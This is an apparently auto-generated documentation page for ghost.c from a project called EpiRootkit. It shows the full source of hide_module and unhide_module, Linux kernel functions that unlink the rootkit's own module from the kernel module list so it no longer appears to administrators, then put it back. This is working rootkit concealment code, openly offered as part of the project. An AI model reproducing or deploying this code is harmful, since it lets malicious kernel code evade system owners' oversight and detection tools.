EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
ghost.c File Reference
#include "epirootkit.h"
Include dependency graph for ghost.c:

Go to the source code of this file.

Functions

static DEFINE_SPINLOCK (hide_lock)
 
int hide_module (void)
 
int unhide_module (void)
 

Variables

static struct list_head * prev_module
 
static bool module_hidden = false
 

Function Documentation

◆ DEFINE_SPINLOCK()

static DEFINE_SPINLOCK ( hide_lock  )
static

◆ hide_module()

int hide_module ( void  )

Definition at line 7 of file ghost.c.

7 {
8 unsigned long flags;
9
10 spin_lock_irqsave(&hide_lock, flags);
11 if (module_hidden) {
12 spin_unlock_irqrestore(&hide_lock, flags);
13 return SUCCESS;
14 }
15
16 prev_module = THIS_MODULE->list.prev;
17 list_del(&THIS_MODULE->list);
18 module_hidden = true;
19
20 spin_unlock_irqrestore(&hide_lock, flags);
21 return SUCCESS;
22}
#define SUCCESS
Definition config.h:5
static struct list_head * prev_module
Definition ghost.c:3
static bool module_hidden
Definition ghost.c:4

◆ unhide_module()

int unhide_module ( void  )

Definition at line 24 of file ghost.c.

24 {
25 unsigned long flags;
26
27 spin_lock_irqsave(&hide_lock, flags);
28 if (!module_hidden) {
29 spin_unlock_irqrestore(&hide_lock, flags);
30 return SUCCESS;
31 }
32
33 list_add(&THIS_MODULE->list, prev_module);
34 module_hidden = false;
35
36 spin_unlock_irqrestore(&hide_lock, flags);
37 return SUCCESS;
38}

Variable Documentation

◆ module_hidden

bool module_hidden = false
static

Definition at line 4 of file ghost.c.

◆ prev_module

struct list_head* prev_module
static

Definition at line 3 of file ghost.c.